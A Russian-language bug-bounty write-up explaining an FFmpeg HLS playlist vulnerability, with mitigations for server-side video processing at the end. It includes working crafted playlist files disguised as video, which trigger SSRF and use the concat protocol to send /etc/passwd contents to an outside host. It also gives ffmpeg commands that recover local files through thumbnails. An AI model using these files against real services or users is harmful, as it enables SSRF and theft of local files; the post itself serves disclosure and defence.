Всем привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. В свободное время я люблю искать баги. В сегодняшнем посте я хочу рассказать об одной довольно интересной уязвимости, которую я нашёл и зарепортил в bug bounty нескольких крупных компаний, за что получил солидное вознаграждение. Уязвимость заключается в следующем: если сформировать специальный видеофайл и загрузить его на сервер, то:
- можно получить на нём SSRF;
- можно получить local file read;
- если пользователь скачает этот файл, то автоматически будет подвержен уязвимостям, даже если его не откроет: можно будет получить доступ к данным на компьютере пользователя и узнать его имя.
Техническое предисловие
Существует огромное количество кодеков, видео- и аудиоформатов, но иногда бывает нужно получить что-то конкретное, пропустив всё это множество через некоторый чёрный ящик. Например, нам может потребоваться на выходе MP4-видео с заданным качеством либо JPEG-превьюшка. Довольно часто этим чёрным ящиком становится FFmpeg. Это open source набор библиотек и бинарных утилит, он активно развивается, поддерживает большое число аудио- и видеокодеков, поэтому его часто применяют для конвертации видео и генерации thumbnails, как в виде отдельного инструмента, так и в виде отдельных библиотек, используемых сторонними приложениями. Большинство крупных компаний запускают FFmpeg командой из скрипта или какого-то бинарника, делают fork-exec. Так сложилось, что проще из бинарника форкнуться и исполнить FFmpeg-бинарник, чем городить всё это с использованием библиотек.
Создание вредоносного файла
В составе FFmpeg есть консольная утилита ffmpeg. Создадим файл test.avi, который действительно является файлом avi, и скопируем его с двумя другими расширениями: .mov и .123. Если попросить ffmpeg сконвертировать любой из этих файлов, то он без проблем всё выполнит, то есть он не обращает внимания на расширение файла. Но здесь есть одно важное исключение, которое мне очень пригодилось в осуществлении одной из описанных в дальнейшем атак, но об этом чуть позже.
Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео. Этот формат поддерживает такую приятную штуку, как адаптивный стриминг, то есть изменение качества в процессе проигрывания. Но для нас здесь важно то, что формат состоит из так называемого главного плей-листа, в котором перечислено несколько других плей-листов с каким-то заданным качеством, а уже в этих плей-листах перечислены кусочки видео.
Создадим файл test.mp4, который на самом деле является m3u8 плей-листом HLS:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.example.org/1.mp4
#EXT-X-ENDLIST
У него есть заголовок, есть окончание и ссылка, по которой нужно брать кусочек видео. Как мы уже знаем, необязательно присваивать расширение .m3u8, файл может называться test.mp4 или test.mov — ffmpeg всё равно поймёт, что это плей-лист m3u8, и будет интерпретировать его именно как плей-лист. Если прогнать наш test.mp4 через любой из многих миллионов сайтов «конвертировать видео онлайн», то ffmpeg, который используется этим онлайн-конвертером, интерпретирует файл как плей-лист, пройдёт по указанной в нём ссылке и на нашем сервере мы увидим GET-запрос с IP этого онлайн-конвертера:
Запрос от одного из онлайн-конвертеров к нашему серверу
То есть на данный момент у нас уже есть простая SSRF, правда, пока мы не можем читать ответ.
Пойдём дальше. Я упоминал про важное исключение, связанное с расширениями файлов. Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками! Получается, мы уже можем красть с этих онлайн-сервисов конвертации любые txt-файлы. Но это нам не очень интересно. Перейдём дальше.
А что, если мы к http url допишем в конце в GET-параметр .txt? Оказывается, ffmpeg подумает, что это текстовый файл и надо интерпретировать ответ как txt. Вот пример запроса к mail.ru:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.mail.ru/?.txt
#EXT-X-ENDLIST
HTML-код из ответа проигрывается в полученном видео! То есть в данном случае мы получили возможность с помощью этой SSRF читать ответ на любые сетевые запросы.
Двигаемся дальше. FFmpeg поддерживает огромное количество различных протоколов, в том числе concat. Согласно документации, этот протокол читает бинарный поток данных из нескольких источников, склеивает и в дальнейшем интерпретирует их, как будто они из одного источника.
Давайте разберём на примере. Допустим, у нас есть файл header.m3u8, такой недоделанный плей-лист, в котором написано «example.org?». Сделаем так, чтобы FFmpeg после подачи ему test.avi с помощью протокола concat сформировал хитрый m3u8, содержащий file:///etc/passwd, и отправил это на наш сервер example.org:
файл, размещённый на dx.su/header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?
test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
↓
http://example.org?# $FreeBSD: release/10.0.0/et..
FFmpeg, получив test.avi, возьмёт header.m3u8 и раскроет его как example.org, а из file:///etc/passwd возьмёт первую строчку, сконструирует URL и перейдёт по нему. Таким образом, мы можем получить первую строчку совершенно любого локального файла, которая будет передана по HTTP на наш сервер, если мы контролируем example.org. Существует небольшой трюк, который позволяет нам не только красть первую строчку, но и читать весь файл построчно, — другой протокол с названием subfile. Я не стану здесь это расписывать, но, если вам интересно, посмотрите документацию, там ничего сложного нет.
Рассмотрим другой способ кражи всего файла. Воспользуемся таким же приёмом с concat и возьмём заголовок видеоформата YUV4MPEG2. Это формат без сжатия, с простым текстовым заголовком. Любой поток данных в этом файле интерпретируется как 8 бит на 1 пиксель, то есть 1 байт на 1 пиксель. Возьмём video.mp4, в котором будет сoncat этого header и file:///etc/passwd. Представим, что мы загрузили его на какой-то облачный видеосервис. Скорее всего, вы увидите превьюшку. А для её генерирования, скорее всего, тоже будет как-то использоваться FFmpeg.
Примем ради упрощения, что превьюшка у нас в формате PNG, то есть сжатая без потерь. Попросим ffmpeg сделать thumbnail из якобы MP4-видео video.mp4, которое на самом деле является хитрым плей-листом m3u8:
файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
файл video.mp4:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST
ffmpeg -i video.mp4 thumbnail.png
thumbnail.png
А теперь полученный thumbnail декодируем обратно:
ffmpeg -i thumbnail.png out.y4m
файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
…
Мы можем увидеть заголовок, который был в header.y4m, а в дальнейшем — полный текст file:///etc/passwd.
Предположим, что мы снова сгенерировали наш вредоносный файл с нужным заголовком, проделали трюк с concat, использовали file:///etc/passwd. Только теперь не загружаем файл на какой-то сервис, а просто отдаём пользователю, чтобы он его скачал и даже не запускал. Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию. А в случае с Ubuntu FFmpeg передаст нам первую строку file:///etc/passwd того пользователя, который просто скачал файл.
Запрос от Kali Linux
Запрос от Ubuntu Linux
В заключение
С помощью такого специально сконструированного видеофайла можно сначала делать просто SSRF-запросы без чтения ответа, читать ответ на любые сетевые запросы, читать локальные файлы, причём несколькими способами. И более того, мы даже можем направить эту атаку против обычных пользователей, которые всего лишь скачали файл, а не против серверов.
Кстати, об этой уязвимости я рассказывал на последнем Security Meetup’е — теперь они регулярно проходят у нас в Mail.Ru Group. Если вы хотите принять участие в одном из следующих и вам есть о чём рассказать, напишите об этом мне, Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.
UPD: Как защититься от проблемы при кодировании видео на сервере с помощью ffmpeg:
- Запускать ffmpeg в изолированном окружении (в chroot или в контейнере) — обязательно, учитывая, что ffmpeg потенциально содержит много уязвимостей, независимо от описанной в данной статье проблемы (см. googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand-fixes.html).
- Запускать ffmpeg внутри этого окружения из-под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
- Отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно.
Разработчики ffmpeg/libav уведомлены о проблеме, я сделал и отправил им патч.